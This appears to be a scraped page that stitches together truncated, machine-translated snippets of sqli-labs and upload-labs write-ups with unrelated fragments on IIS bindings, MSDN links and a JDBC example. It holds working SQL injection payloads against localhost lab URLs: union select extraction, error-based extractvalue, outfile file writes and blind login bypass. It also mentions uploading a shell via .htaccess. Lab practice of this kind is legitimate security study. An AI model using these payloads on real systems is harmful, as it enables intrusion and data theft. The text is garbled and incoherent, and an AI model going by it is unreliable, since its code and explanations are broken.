smartsheet labs

Through this level I learned:1. Double quotes do not forget, just because you forgot to get a good while. has not been an error.2.00X1 Universal Cipher Construction TwoThe contents of the error are:You have a error in your SQL syntax; Check the manual that corresponds to your MySQL server version for the right syntax to use near ' admin ') LIMIT 0,1 ' at Lin E 1As you can see, he added a double quotation mark and parentheses to the place where we typed it.The payload of the universal password ar

Tags: index.php source code 127.0.0.1 Dex SQL COM uses class unionThe main thing about this level is that we want to learn about the use of the outfile function (file Write function).Through the source code we can easily write the payload. If we try one by one, it's not easy to tell the truth.Http://127.0.0.1/sql/Less-7/index.php?id=1 ')) and 1=1--+Payload:Http://127.0.0.1/sql/Less-7/index.php?id=1 ')) union Select 1, ' Although syntax errors are indicated. But let's see. On the H-disk is true e

', ' username ') VALUES (' $uagent ', ' $IP ', $uname)"; the mysql_query ($insert); About //Echo ' Your IP address is: '. $IP; theEcho""; the //echo " theEcho''; +Echo'Your User Agent is:'. $uagent; -Echo""; theEcho"";Bayi Print_r (Mysql_error ()); theEcho""; theEcho''; -Echo""; - the } the Else the { theEcho''; - //echo "Try again looser"; the Print_r (Mysql_error ()); theEcho""; theEcho"";94Echo''; theEcho"";

Label:Less-36We directly see the source code for 36 off.The Check_quotes () function above is filtered using the mysql_real_escape_string () function.The mysql_real_escape_string () function escapes special characters in strings used in SQL statements.The following characters are affected: \x00 \ n \ r ‘ " \x1a If successful, the function returns the escaped string. If it fails, it returns false.But because MySQL we did not set into GBK, so mysql_real_escap

Less-58After executing the SQL statement, the data in the database is not returned, so we cannot use Union Union injection here, using an error injection here.Payload:http://127.0.0.1/sqli-labs/less-58/?id=-1 ' Union select Extractvalue (1,concat (0x7e, (select Group_ CONCAT (table_name) from Information_schema.tables where table_schema= ' challenges '), 0x7e))--+Here you can modify the above content, construct the payload can be injected, but you nee

Less-50We start with order by stacked from this close injection!Execute SQL statement We use the Mysqli_multi_query () function here, and we used the Mysqli_query (), the difference is that mysqli_multi_query () can execute multiple SQL statements, and Mysqli_ Query () executes only one SQL statement, so we can execute multiple SQL statements here to inject, which is the statcked injection we mentioned earlier.Here we use the method is still feasible, we do not repeat here, look at the stacked i

Less-31Less-31 the same way as the above two examples, we directly see the LESS-31 SQL statement:So payload is:Http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1id=-2%22) Union%20select%201,user (), 3--+Summary: From the above San Guan, our main learning is different server for the different processing of parameters, HPP has a lot of applications, not only we listed above the WAF one aspect, there can be repeated operations can be performed illega

Github:https://github.com/d0ef/upload-labsThe first question: through the JS judgment of the direct grab package changed on OK.The second question: As long as the Content-type information for the picture can beQuestion three: re-rule by uploading the. htaccess file and uploading the shell for parsing.Question Fourth:Question Fifth:Question sixth:Question seventh:Question eighth:Question Nineth:Question Tenth:Question 11th:Question 12th:Question 13th:Question 14th:Question 15th:Question 16th:Ques

the site in IIS Manager (right click Site Edit binding )Then we can enter the URL on the host to test.Test results, the site can operate normally.The second type, based on the port number. This method and the first one only need an IP address, in the edit binding with a unified IP address, the port number changes can be different.Test results on the host.The site will run as usual.The third type, based on the host name. Requires two URL IP, the same port number, the machine name is not the same

ServerHttp://msdn.microsoft.com/library/en-us/dnppcgen/html/med203_msdn_mappoint_location_server.aspRecommended index: ★★★★An experiment similar to the one above, but added to the content of real-time trackingKnowledge Point: The use of MapPoint Web serviceDevelopment toolsStep by Step:new Native Windows Mobile Development Features in Visual Studio 2005Http://msdn.microsoft.com/library/en-us/dnppcgen/html/med304_msdn_new_native_wm_features_vs2005.aspMany friends complain that hands-on

Label:Less-42After update data is updated, the data after mysql_real_escape_string () is stored in the database and is not changed. Can be useful when a select is called. So don't consider injecting at the update password, which is different from the idea of two injections.This section from the login.php Source code analysis:The password variable is not processed by the mysql_real_escape_string () function during post. So at the time of login password option we can do attack.Login User Name Free

"); $ fclose ($fp); - - the //Connectivity -@ $sql ="SELECT username, password from users WHERE username= $uname LIMIT 0,1"; Wuyi the$result =mysql_query ($sql); -$row =mysql_fetch_array ($result); Wu //echo $row; - if($row) About { $ //Echo ' -$row 1 = $row ['username']; - //Echo ' Your Login name: '. $row 1; -$update ="UPDATE users SET password = ' $passwd ' WHERE username= ' $row 1 '"; A mysql_query ($update); +Echo""; the - $ the

connect; User: Connect to a database username; password: connection password - Try { -Connection Connection = drivermanager.getconnection ("Jdbc:mysql://localhost:3306/world", "root", "538769"); -SYSTEM.OUT.PRINTLN ("Connect to world!"); + //3) Through connection, create statement -Statement stm =connection.createstatement (); + //4) Results after the query is stored in the ResultSet AResultSet RSet = Stm.executequery ("SELECT * from City"); at

Tags: color and Security tab SQLI Local INF-based SQLSubmit ID parameter Extra Http://localhost/sqli/Less-4/?id=1 ' The page is working, adding " Http://localhost/sqli/Less-4/?id=1 " The corresponding SQL statement should be Select ... where xx= ("1") limit 0,1 Structure Select ... where xx= ("1") #") limit 0,1 The corresponding GET request Http://localhost/sqli/Less-4/?id=1 ")%23 Http://localhost/sqli/Less-4/?id=a ") union Select 1,2,3%23 And then there's the flow. Http://localhost/sqli/Le

Tags:. com and div same where URI tables table emailSame as Less1, go straight to the flowSubmit parameter, direct ORDER byHttp://localhost/sqli/Less-2/?id=1 ORDER BY 1%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,2,3%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,database (), User ()%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,table_name,3 from Information_schema.tables where table_schema= ' Security ' Limit 0,1%23Http://localhost/sqli/Less-2/?id=-1 Union Select 1,column_

Second Pass:Sqli-labs's second level is an int type of SQL injection with error message, input id=1 ' will also error, such asYou can see the error message type shows the "Limit 0,1" this error, wherein the front and back two single-lead symbol is the error message itself plus go, so the real string in the SQL statement is ' limit 0,1 It can be seen that this is an int type of SQL injection (if it is a string type of injection, the error is generally "1" limit 0,1. Of course the type of injectio

The error is not echoedConstruction of permanent landingThe landing was successful.Although the landing was successful, but the data of the database has been burstConstruct the user name1 ' or Length (database ()) =8#If the length of the database name is not equal to 8, the login will failGuess if the first character of the database name is ' s ', then the login is successful1 ' or ASCII (substr (Database (), =115#))"Sqli-labs" Less15 post-blind-booli

For still small white me, to PHP, MySQL, dvwa or just get started me, face dozens of sql-injection of the topic, is really a bit of ideas are not, how to face? Summer sql-injection must win!! Or down-to-earth, slowly to put, to maintain interest, to maintain a good mentality, I think, I will slowly overcome one after another difficult!SQL idea--"if->where->how" Keep asking myself.Judgment is not injected, where injected, what type of injection, guess the back end of the statement is how to write

limit 0,1-+Guess the ID fieldHttp://127.0.0.1/sqllibs/Less-3/?id=-1 ') union select 1,2,column_name from Information_schema.columns where Table_ schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1--+ Guess the username field Http://127.0.0.1/sqllibs/Less-3/?id=-1 ') union select 1,2,column_name from Information_schema.columns where Table_ schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1-+Guess the password fieldHttp://127.0.0.1/sqllibs/Less-3/?id=-1 ') union Select 1,

Id=1/id=1 and 1=1 results normalId=1 and 1=2 results are normal and unreasonableId=1 ' tips:Analysis:Use near ' 1 ' LIMIT 0,1 'So the correct SQL statement is:Select Username,password from table where id= ' input 'So:id = 1 ' and ' 1 ' = ' 1The results are correctThatSelect Username,password from table where id= ' 1 ' and ' 1 ' = ' 1 'Or:id = 1 ' and 1=1--+The results are correctThatSelect Username,password from table where id= ' 1 ' and 1=1--+ 'Sqli-labs